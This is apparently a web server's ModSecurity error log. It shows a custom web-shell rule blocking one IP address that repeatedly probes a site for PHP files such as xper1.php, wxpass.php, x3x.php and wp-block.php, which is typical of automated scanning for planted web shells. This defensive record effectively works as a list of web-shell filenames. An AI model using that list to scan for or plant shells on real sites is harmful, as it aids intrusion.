[Sat Apr 18 06:21:06.512181 2026] [:error] [pid 9865:tid 9943] [client 20.203.143.130:5983] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xper1.php"] [unique_id "aeKyUqzb5knECIY-C-i07AAAAIY"]
[Sat Apr 18 06:21:07.195895 2026] [:error] [pid 9970:tid 9990] [client 20.203.143.130:6046] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xper1.php"] [unique_id "aeKyUyYdRLRhVmaIMx3ZDQAAANA"]
[Sat Apr 18 06:21:08.195897 2026] [:error] [pid 13023:tid 13028] [client 20.203.143.130:6070] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yuzuru1.php"] [unique_id "aeKyVP1e7hG8DAeABB_9NgAAAQM"]
[Sat Apr 18 06:21:09.434348 2026] [:error] [pid 9863:tid 9897] [client 20.203.143.130:5984] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yuzuru1.php"] [unique_id "aeKyVTjjiypiFrTucbIVvwAAABg"]
[Sat Apr 18 06:21:10.811390 2026] [:error] [pid 9970:tid 9978] [client 20.203.143.130:6057] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yuzuru1.php"] [unique_id "aeKyViYdRLRhVmaIMx3ZEAAAAMQ"]
[Sat Apr 18 06:21:11.895462 2026] [:error] [pid 13023:tid 13033] [client 20.203.143.130:6041] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yuzuru1.php"] [unique_id "aeKyV_1e7hG8DAeABB_9PwAAAQg"]
[Sat Apr 18 06:21:12.567014 2026] [:error] [pid 13023:tid 13047] [client 20.203.143.130:6058] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wglum1.php"] [unique_id "aeKyWP1e7hG8DAeABB_9QwAAARY"]
[Sat Apr 18 06:21:13.101795 2026] [:error] [pid 9970:tid 9997] [client 20.203.143.130:6068] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wglum1.php"] [unique_id "aeKyWSYdRLRhVmaIMx3ZFgAAANc"]
[Sat Apr 18 06:21:13.882730 2026] [:error] [pid 13023:tid 13032] [client 20.203.143.130:6137] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wglum1.php"] [unique_id "aeKyWf1e7hG8DAeABB_9SAAAAQc"]
[Sat Apr 18 06:21:15.185315 2026] [:error] [pid 13023:tid 13042] [client 20.203.143.130:5994] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wglum1.php"] [unique_id "aeKyW_1e7hG8DAeABB_9TAAAARE"]
[Sat Apr 18 06:21:16.025844 2026] [:error] [pid 9970:tid 9994] [client 20.203.143.130:6027] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aeKyXCYdRLRhVmaIMx3ZIgAAANQ"]
[Sat Apr 18 06:21:16.573499 2026] [:error] [pid 9970:tid 9979] [client 20.203.143.130:6127] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aeKyXCYdRLRhVmaIMx3ZJwAAAMU"]
[Sat Apr 18 06:21:17.771738 2026] [:error] [pid 13023:tid 13034] [client 20.203.143.130:6143] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aeKyXf1e7hG8DAeABB_9VQAAAQk"]
[Sat Apr 18 06:21:18.594819 2026] [:error] [pid 9865:tid 9960] [client 20.203.143.130:5893] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aeKyXqzb5knECIY-C-i0-QAAAJc"]
[Sat Apr 18 06:21:19.302831 2026] [:error] [pid 13023:tid 13044] [client 20.203.143.130:5889] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xper.php"] [unique_id "aeKyX_1e7hG8DAeABB_9WgAAARM"]
[Sat Apr 18 06:21:20.011223 2026] [:error] [pid 13023:tid 13048] [client 20.203.143.130:5981] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xper.php"] [unique_id "aeKyYP1e7hG8DAeABB_9YQAAARc"]
[Sat Apr 18 06:21:20.867311 2026] [:error] [pid 13023:tid 13047] [client 20.203.143.130:6020] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xper.php"] [unique_id "aeKyYP1e7hG8DAeABB_9ZAAAARY"]
[Sat Apr 18 06:21:21.945163 2026] [:error] [pid 9970:tid 9993] [client 20.203.143.130:5980] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xper.php"] [unique_id "aeKyYSYdRLRhVmaIMx3ZNgAAANM"]
[Sat Apr 18 06:21:22.756627 2026] [:error] [pid 13023:tid 13033] [client 20.203.143.130:5952] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wxpass.php"] [unique_id "aeKyYv1e7hG8DAeABB_9awAAAQg"]
[Sat Apr 18 06:21:23.559697 2026] [:error] [pid 13023:tid 13038] [client 20.203.143.130:18114] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wxpass.php"] [unique_id "aeKyY_1e7hG8DAeABB_9cAAAAQ0"]
[Sat Apr 18 06:21:24.417470 2026] [:error] [pid 9865:tid 9950] [client 20.203.143.130:6004] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wxpass.php"] [unique_id "aeKyZKzb5knECIY-C-i1AgAAAI0"]
[Sat Apr 18 06:21:25.313047 2026] [:error] [pid 9865:tid 9938] [client 20.203.143.130:5997] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wxpass.php"] [unique_id "aeKyZazb5knECIY-C-i1AwAAAIE"]
[Sat Apr 18 06:21:26.039978 2026] [:error] [pid 9970:tid 9978] [client 20.203.143.130:6130] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/000.php"] [unique_id "aeKyZiYdRLRhVmaIMx3ZPQAAAMQ"]
[Sat Apr 18 06:21:27.428391 2026] [:error] [pid 13023:tid 13037] [client 20.203.143.130:5979] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/000.php"] [unique_id "aeKyZ_1e7hG8DAeABB_9hAAAAQw"]
[Sat Apr 18 06:21:28.312270 2026] [:error] [pid 9970:tid 9998] [client 20.203.143.130:5974] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/000.php"] [unique_id "aeKyaCYdRLRhVmaIMx3ZRgAAANg"]
[Sat Apr 18 06:21:29.086786 2026] [:error] [pid 13023:tid 13032] [client 20.203.143.130:5996] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/000.php"] [unique_id "aeKyaf1e7hG8DAeABB_9kAAAAQc"]
[Sat Apr 18 06:21:29.713800 2026] [:error] [pid 9865:tid 9947] [client 20.203.143.130:6044] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aeKyaazb5knECIY-C-i1DAAAAIo"]
[Sat Apr 18 06:21:30.363751 2026] [:error] [pid 13023:tid 13026] [client 20.203.143.130:6005] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aeKyav1e7hG8DAeABB_9nAAAAQE"]
[Sat Apr 18 06:21:31.200952 2026] [:error] [pid 9970:tid 9995] [client 20.203.143.130:5934] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aeKyayYdRLRhVmaIMx3ZSgAAANU"]
[Sat Apr 18 06:21:31.858618 2026] [:error] [pid 9970:tid 9977] [client 20.203.143.130:6010] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aeKyayYdRLRhVmaIMx3ZTgAAAMM"]
[Sat Apr 18 06:21:32.449330 2026] [:error] [pid 13023:tid 13046] [client 20.203.143.130:5898] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x3x.php"] [unique_id "aeKybP1e7hG8DAeABB_9ogAAARU"]
[Sat Apr 18 06:21:33.207037 2026] [:error] [pid 9865:tid 9958] [client 20.203.143.130:18167] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x3x.php"] [unique_id "aeKybazb5knECIY-C-i1FwAAAJU"]
[Sat Apr 18 06:21:33.889691 2026] [:error] [pid 9865:tid 9942] [client 20.203.143.130:6117] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x3x.php"] [unique_id "aeKybazb5knECIY-C-i1GQAAAIU"]
[Sat Apr 18 06:21:34.758082 2026] [:error] [pid 13023:tid 13030] [client 20.203.143.130:6067] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x3x.php"] [unique_id "aeKybv1e7hG8DAeABB_9pwAAAQU"]
[Sat Apr 18 06:21:35.508281 2026] [:error] [pid 9970:tid 9993] [client 20.203.143.130:5894] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "aeKybyYdRLRhVmaIMx3ZUQAAANM"]
[Sat Apr 18 06:21:36.102660 2026] [:error] [pid 9970:tid 9984] [client 20.203.143.130:5961] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "aeKycCYdRLRhVmaIMx3ZVAAAAMo"]
[Sat Apr 18 06:21:36.707406 2026] [:error] [pid 9865:tid 9950] [client 20.203.143.130:6032] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "aeKycKzb5knECIY-C-i1HwAAAI0"]
[Sat Apr 18 06:21:37.486891 2026] [:error] [pid 9865:tid 9953] [client 20.203.143.130:6079] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "aeKycazb5knECIY-C-i1IwAAAJA"]
[Sat Apr 18 06:21:37.981975 2026] [:error] [pid 9863:tid 9894] [client 20.203.143.130:5988] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/global.php"] [unique_id "aeKycTjjiypiFrTucbIVzwAAABU"]
[Sat Apr 18 06:21:38.574741 2026] [:error] [pid 9970:tid 9976] [client 20.203.143.130:5970] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/global.php"] [unique_id "aeKyciYdRLRhVmaIMx3ZXQAAAMI"]
[Sat Apr 18 06:21:39.357555 2026] [:error] [pid 9970:tid 9977] [client 20.203.143.130:6122] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/global.php"] [unique_id "aeKycyYdRLRhVmaIMx3ZYAAAAMM"]
[Sat Apr 18 06:21:40.272181 2026] [:error] [pid 9863:tid 9888] [client 20.203.143.130:6038] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/global.php"] [unique_id "aeKydDjjiypiFrTucbIV1QAAAA8"]
[Sat Apr 18 06:21:40.957318 2026] [:error] [pid 9970:tid 9994] [client 20.203.143.130:18128] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aeKydCYdRLRhVmaIMx3ZZQAAANQ"]
[Sat Apr 18 06:21:41.650163 2026] [:error] [pid 13023:tid 13038] [client 20.203.143.130:6102] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aeKydf1e7hG8DAeABB_9sgAAAQ0"]
[Sat Apr 18 06:21:42.304611 2026] [:error] [pid 13023:tid 13042] [client 20.203.143.130:5956] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aeKydv1e7hG8DAeABB_9tAAAARE"]
[Sat Apr 18 06:21:43.103705 2026] [:error] [pid 13023:tid 13048] [client 20.203.143.130:6056] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aeKyd_1e7hG8DAeABB_9twAAARc"]
[Sat Apr 18 06:21:44.039869 2026] [:error] [pid 9865:tid 9948] [client 20.203.143.130:5830] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aeKyeKzb5knECIY-C-i1NAAAAIs"]
[Sat Apr 18 06:21:44.573096 2026] [:error] [pid 13023:tid 13029] [client 20.203.143.130:6113] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aeKyeP1e7hG8DAeABB_9vwAAAQQ"]
[Sat Apr 18 06:21:45.182261 2026] [:error] [pid 13023:tid 13034] [client 20.203.143.130:5947] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aeKyef1e7hG8DAeABB_9xgAAAQk"]
[Sat Apr 18 06:21:45.674884 2026] [:error] [pid 9865:tid 9959] [client 20.203.143.130:6109] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aeKyeazb5knECIY-C-i1OAAAAJY"]
[Sat Apr 18 06:21:46.410106 2026] [:error] [pid 13023:tid 13030] [client 20.203.143.130:6030] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeKyev1e7hG8DAeABB_90AAAAQU"]
[Sat Apr 18 06:21:47.005106 2026] [:error] [pid 13023:tid 13033] [client 20.203.143.130:5982] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeKye_1e7hG8DAeABB_91wAAAQg"]
[Sat Apr 18 06:21:47.533314 2026] [:error] [pid 9865:tid 9950] [client 20.203.143.130:5833] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeKye6zb5knECIY-C-i1QQAAAI0"]
[Sat Apr 18 06:21:48.031659 2026] [:error] [pid 9970:tid 9983] [client 20.203.143.130:6055] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeKyfCYdRLRhVmaIMx3ZcwAAAMk"]
[Sat Apr 18 06:21:48.662651 2026] [:error] [pid 9865:tid 9952] [client 20.203.143.130:6002] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "aeKyfKzb5knECIY-C-i1RwAAAI8"]
